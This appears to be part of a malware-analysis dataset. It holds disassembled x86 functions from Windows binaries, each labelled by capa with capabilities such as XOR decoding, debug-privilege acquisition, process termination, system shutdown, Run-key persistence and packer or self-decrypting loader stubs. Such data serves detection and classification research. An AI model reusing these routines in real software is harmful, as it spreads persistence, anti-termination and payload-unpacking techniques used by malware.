joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471c80
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov al, byte [eax]
dec al
je 0x471cb1
dec al
je 0x471ced
dec al
je 0x471d31
dec al
je 0x471d9c
jmp 0x471e26
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x471e26
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
mov dl, byte [ecx + edx]
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x471cc1
jmp 0x471e26
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x471e26
mov esi, 1
mov al, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov dl, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x471cfd
jmp 0x471e26
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x471e26
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x471d5f
xor ebp, ebp
jmp 0x471d70
mov ecx, esi
sub ecx, edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x471d79
adc eax, 0
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x471d41
jmp 0x471e26
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x471e26
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x471df4
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
mov dl, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
mov cl, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0046f218
add al, byte [esp]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x471db0
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4757c4
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x475857
xor eax, eax
push ebp
push 0x475850
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
push 0x475874
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x475839
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
xor eax, eax
mov dword [ebp - 8], eax
lea esi, [ebp - 0x18]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475857
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
ret
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
mov eax, 0x475890
call fcn.00475b28
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x47589c
Capabilities:
Get token membership

Disassembly:
add esp, 0xfffffff8
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x47bcfc
call sub.advapi32.dll_AllocateAndInitializeSid
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp], al
cmp byte [esp], 0
je 0x4758f1
push esp
mov eax, dword [esp + 8]
push eax
push 0
call sub.advapi32.dll_CheckTokenMembership
test al, al
jne 0x4758e7
mov byte [esp], 0
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_FreeSid
mov al, byte [esp]
pop ecx
pop edx
ret

Function at 0x4758f8
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8c0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x73c], edx
mov dword [ebp - 0x740], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4759b2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0
lea edx, [ebp - 0x740]
mov eax, ebx
call fcn.0040893c
mov ecx, dword [ebp - 0x740]
lea eax, [ebp - 0x73c]
mov edx, 0x4759cc
call fcn.004043ac
mov eax, dword [ebp - 0x73c]
call fcn.00404560
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
push 0
lea eax, [ebp - 4]
push eax
push 0x730
lea eax, [ebp - 0x738]
push eax
push 0
push 0
push 0x70050
push esi
call sub.kernel32.dll_DeviceIoControl
cmp dword [ebp - 0x738], 1
sete bl
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4759b9
lea eax, [ebp - 0x740]
mov edx, 2
call fcn.004040c4
ret
Function at 0x4759e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404d64
lea eax, [ebp - 8]
call fcn.00404d64
xor eax, eax
push ebp
push 0x475a79
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x3c
call fcn.00402cf0
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov eax, dword [ebp - 4]
call fcn.004049ac
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.004049ac
mov dword [ebp - 0x30], eax
mov eax, 0x475a88
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExW
test eax, eax
je 0x475a5e
mov ebx, dword [ebp - 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475a80
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404798
ret

Function at 0x475a94
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404d64
xor eax, eax
push ebp
push 0x475b18
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402cf0
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], bx
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004049ac
push eax
push 0
call sub.kernel32.dll_CreateProcessW
call sub.kernel32.dll_GetLastError
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475b1f
lea eax, [ebp - 4]
call fcn.00404780
ret
Function at 0x475b28
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404550
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x475c96
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.0046198c
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004619ac
jmp 0x475c62
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404310
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00408f40
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.004083b8
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.004083b8
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.004044ac
je 0x475c42
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404310
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.004083b8
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.004083b8
mov edx, dword [ebp - 0x148]
pop eax
call fcn.004044ac
jne 0x475c59
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004619cc
test eax, eax
jne 0x475ba3
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475c9d
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.004040c4
lea eax, [ebp - 4]
call fcn.004040a0
ret

Function at 0x475df8
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x4812f8]
cmp dword [eax], 2
jne 0x475e72
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x475e72
lea eax, [esp + 0xc]
push eax
push 0x475e88
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x475e72
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret
Function at 0x47637c
Capabilities:
Find taskbar
Persist via run registry key
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x476384
push ecx
push ebx
mov eax, 0x475efc
call fcn.00406484
xor eax, eax
push ebp
push 0x4765b5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
call fcn.004758f8
test al, al
je 0x4763cd
push 0
mov ecx, 0x4765c4
mov edx, 0x4765d0
mov eax, dword [0x481108]
mov eax, dword [eax]
call fcn.00453300
jmp 0x47658d
lea edx, [ebp - 0x18]
mov eax, 1
call fcn.00402a4c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040852c
mov eax, dword [ebp - 0x14]
mov edx, 0x476620
call fcn.004044ac
je 0x476418
push 0x104
mov ecx, 0x4765c4
mov edx, 0x476630
mov eax, dword [0x481108]
mov eax, dword [eax]
call fcn.00453300
cmp eax, 6
jne 0x47658d
push 0x476714
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0045af8c
lea eax, [ebp - 0x1c]
mov edx, 0x476724
call fcn.004049c8
mov eax, dword [ebp - 0x1c]
mov ecx, 0x47674c
mov edx, 0x80000001
call fcn.00475d3c
call fcn.0047589c
test al, al
jne 0x4764b2
push 0
push 0x1a3
push 0x111
push 0
push 0x47677c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
jmp 0x47648d
push 0
push 0x1a3
push 0x111
push 0
push 0x47677c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.0045af8c
mov eax, dword [ebp - 0x20]
mov ecx, 5
mov edx, 0x476790
call fcn.004759e0
test eax, eax
je 0x47646f
jmp 0x47658d
mov ecx, 0x476714
mov edx, 0x47674c
mov eax, 0x80000001
call fcn.00475ca8
push 0x4767b4
lea edx, [ebp - 0x2c]
xor eax, eax
call fcn.0045af8c
push dword [ebp - 0x2c]
push 0x476838
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00404a8c
mov eax, dword [ebp - 0x28]
call fcn.004049ac
mov edx, eax
lea eax, [ebp - 0x24]
call fcn.004048d8
mov eax, dword [ebp - 0x24]
xor edx, edx
call fcn.00475a94
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x47685c
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x48379c
push 0x5000
push 0x47bd04
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, 0x4837a0
mov edx, 0x476878
call fcn.004040f4
mov eax, dword [0x4837a0]
mov edx, 0x476884
call fcn.004044ac
jne 0x476563
call fcn.004757c4
mov eax, dword [0x4837a0]
mov edx, 0x476890
call fcn.004044ac
jne 0x47657e
mov eax, 6
call fcn.00475df8
mov eax, dword [0x4837a0]
mov edx, 0x47689c
call fcn.004044ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4765bc
lea eax, [ebp - 0x2c]
mov edx, 5
call fcn.00404798
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004040c4
ret
Function at 0x1000ecb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000ecbf
pop dword [ebp - 0x28]
mov eax, 0x1000ecbf
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x87937ba9
sub dword [ebp - 0x38], 0x3941365e
mov dword [ebp - 0x34], 0x3f1a782f
add dword [ebp - 0x34], 0xf318d416
mov dword [ebp - 0x30], 0x47eede4b
sub dword [ebp - 0x30], 0xfba29a1d
mov dword [ebp - 0x2c], 0x2601c13e
sub dword [ebp - 0x2c], 0x2601c13e
lea eax, [ebp - 0x38]
push eax
mov eax, 0x4ad5c9fe
sub eax, 0x3acf99e6
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xaf444ac8
sub dword [ebp - 0x38], 0x3ad1e172
mov dword [ebp - 0x34], 0xbcdff246
add dword [ebp - 0x34], 0x848c6f2f
mov dword [ebp - 0x30], 0xf5c6201b
add dword [ebp - 0x30], 0x6da94c51
mov dword [ebp - 0x2c], 0xf2b7abdd
sub dword [ebp - 0x2c], 0xf2b7abdd
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x560b1
push 0
call eax
mov ecx, 0x9ecbdc94
sub ecx, 0x9ecb8caf
mov edi, eax
mov esi, 0x10098600
add esi, dword [ebp - 0x28]
mov ebx, 0xb279f2
add ebx, 0x80585526
mov dword [ebp - 0x10], 0xb64bf369
mov edx, dword [esi]
sub dword [ebp - 0x14], esi
add edx, ebx
xor dword [ebp - 0x18], 0xaba79841
mov dword [edi], edx
add edi, 0x8fdaa72e
sub edi, 0x8fdaa72a
add esi, 0x22dac781
sub esi, 0x22dac77d
loop 0x1000edd1
add eax, 0x13267
xor ebx, ebx
add ebx, eax
add eax, 0xf675bfc6
sub eax, 0xf675bfc1
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x10010020
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call sym.ScCore.dll_public:_bool___thiscall_ScCore::FileSpec::setPath_class_ScCore::String_const___bool_
cwde
test eax, eax
je 0x10010052
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x10010049
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033360
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033590
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad7821a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x3ad78229
pop dword [ebp - 8]
mov eax, 0x48fa468
sub eax, 0xc9b8223f
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x36447
push 0
mov eax, 0x37012836
sub eax, 0xfc2a1782
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x3461d640
add ecx, 0xcb9e6c69
xor esi, esi
add esi, eax
mov edi, 0x3ad84e00
add edi, dword [ebp - 8]
mov ebx, 0x282e1263
sub ebx, 0x86abc86b
sub dword [ebp - 4], ebx
mov edx, dword [edi]
add dword [ebp - 4], 0x892d60c9
xor edx, ebx
mov dword [ebp - 4], 0x512253fe
mov dword [esi], edx
xor dword [ebp - 4], eax
add esi, 0xdf6aa1dc
sub esi, 0xdf6aa1d8
add edi, 0x7b881511
add edi, 0x8477eaf3
loop 0x3ad78284
add eax, 0xfd77
mov ebx, eax
add eax, 0xc40ee33f
add eax, 0x3bf11cc6
mov ecx, 0xfac31a3b
add ecx, 0x4013e5c5
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100416a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
xor edx, edx
xor eax, eax
cmp esi, 1
jne 0x1004182
push esi
call fcn.01003ca9
jmp 0x10041f8
cmp esi, 2
jne 0x100419c
push edx
push edx
push esi
push 0x401638
push edx
push edx
call dword [0x4030a4]
xor eax, eax
inc eax
jmp 0x10041f8
cmp esi, 3
jne 0x10041b1
xor esi, esi
xor dl, byte [esi + ecx]
inc esi
cmp esi, 6
jb 0x10041a3
mov byte [ecx + 6], dl
jmp 0x10041f8
cmp esi, 4
jne 0x10041d0
mov al, byte [ecx + 6]
push 5
pop edx
xor al, byte [edx + ecx]
dec edx
cmp edx, 1
jge 0x10041bc
xor edx, edx
cmp al, byte [ecx]
sete dl
mov eax, edx
jmp 0x10041f8
cmp esi, 5
jne 0x10041f8
mov esi, dword [ecx + 8]
mov eax, dword [ecx + 0x28]
mov dword [ebp - 4], esi
cmp esi, edx
jne 0x10041eb
mov dword [ebp - 4], 0x7c59af1e
jmp 0x10041f5
push ecx
mov ecx, 0x10
rol dword [ebp - 4], cl
pop ecx
xor eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x4cc480
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x475015
lea edi, [esi - 0x74015]
push edi
jmp 0x4cc49a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4cc4a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cc490
mov eax, 1
add ebx, ebx
jne 0x4cc4b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4cc4c4
jne 0x4cc4e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cc4e3
dec eax
add ebx, ebx
jne 0x4cc4d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4cc4a8
add ebx, ebx
jne 0x4cc4df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4cc535
xor ecx, ecx
sub eax, 3
jb 0x4cc4fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4cc56a
sar eax, 1
mov ebp, eax
jmp 0x4cc506
add ebx, ebx
jne 0x4cc506
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cc4d4
inc ecx
add ebx, ebx
jne 0x4cc514
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cc4d4
add ebx, ebx
jne 0x4cc521
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4cc516
jne 0x4cc532
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4cc516
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4cc554
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4cc546
jmp 0x4cc496
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4cc554
add edi, ecx
jmp 0x4cc496
pop esi
mov edi, esi
mov ecx, 0x2c4c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4cc572
cmp byte [edi], 0x14
jne 0x4cc572
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4cc577
lea edi, [esi + 0xc9000]
mov eax, dword [edi]
or eax, eax
je 0x4cc5e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xcdafc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xcdc14]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4cc5a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xcdc1c]
or eax, eax
je 0x4cc5e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4cc5c1
call dword [esi + 0xcdc18]
mov ebp, dword [esi + 0xcdc20]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4cc61a
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x6ee0193f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0xc6631a0
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219